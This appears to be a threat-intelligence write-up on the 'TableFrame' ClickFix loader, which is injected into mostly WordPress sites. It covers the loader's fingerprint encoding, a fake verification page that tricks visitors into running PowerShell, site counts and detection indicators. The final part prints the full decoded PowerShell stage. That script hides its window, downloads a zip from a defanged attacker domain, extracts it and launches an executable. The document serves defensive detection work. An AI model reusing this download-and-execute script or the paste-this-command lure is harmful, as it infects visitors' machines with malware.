TableFrame ClickFix kit

A short injection adds cT.js

TableFrame is a two-part ClickFix loader. The first part creates a script element whose source ends in /cT.js and appends it to the document head. Copies place that snippet directly in HTML, append it to an otherwise familiar first-party JavaScript file or run it from a data: script.

The external host rotates while the /cT.js path and the second stage stay recognizable. A recent production response showed the complete loader appended to a theme script, making the added code easy to miss in a large file.

The table turns a fingerprint into a request path

The loader records the visitor's colour scheme, timezone, screen width and height, pixel ratio, calculated resolution, local-storage availability and navigator.webdriver value. It joins those fields with |.

Its encode(table, data) function converts each character to a number, multiplies that number by two and takes the corresponding two characters from a long substitution table. randomCase then changes the case of every letter. The result becomes the request path sent to the landing controller.

The response is either a 32-character sentinel or HTML. For HTML, TableFrame waits 100 milliseconds and inserts the response at the end of the page body. The loader also accepts cookie and reload messages from the inserted page; the cookie branch sets a one-year marker and reloads the page.

The returned page stages a false verification

A landing response showed a Cloudflare-style integrity check followed by a checkbox and a "Verification required" window. On Windows, the window told the visitor to press Win+R, paste with Ctrl+V and press Enter. The page copied a Base64-encoded PowerShell command when the visitor clicked the checkbox. Its HTML also contained a macOS branch with Command+Space, Terminal, paste and Enter instructions.

What we see

Month	New sites
September	0
October	393
November so far	70

97% of TableFrame sites captured since 25 September run WordPress. 390 TableFrame sites also carry LenAI, so removal work should look for both independent injections.

Checking the injected and loaded stages

Search HTML, first-party JavaScript and generated data: scripts for:

• a script element loading /cT.js
• encode(table, data) and table.substring(char * 2, char * 2 + 2)
• a fingerprint containing theme, timezone, resolution, storage and webdriver
• randomCase(data) immediately before a request
• a 32-character hexadecimal sentinel comparison
• returned HTML passed to insertAdjacentHTML("beforeend", html)
• message handlers for the literal values cookie and reload

Compare the end of large theme and plugin scripts with clean vendor copies. Pages append both the small first stage and the full loader after legitimate code.

$url = "hxxps://franfrbar[.]com/2Uq";
$filename = "Fileside.exe";
$path = $env:TEMP;
$archive = Join-Path $path "ZPVrDpod[.]zip";
$filepath = Join-Path $path $filename;
$signature = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
	[DllImport("kernel32.dll")]
	public static extern IntPtr GetConsoleWindow();
	[DllImport("user32.dll")]
	public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@;
Add-Type $signature;
$hwnd = [Win32]::GetConsoleWindow();
if($hwnd -ne [IntPtr]::Zero)
{
	[Win32]::ShowWindow($hwnd, 0);
}
New-Item -Path $path -ItemType Directory -Force;
curl $url -o $archive;
Expand-Archive -Path $archive -DestinationPath $path -Force;
Remove-Item $archive -Force;
Start-Process $filepath;
exit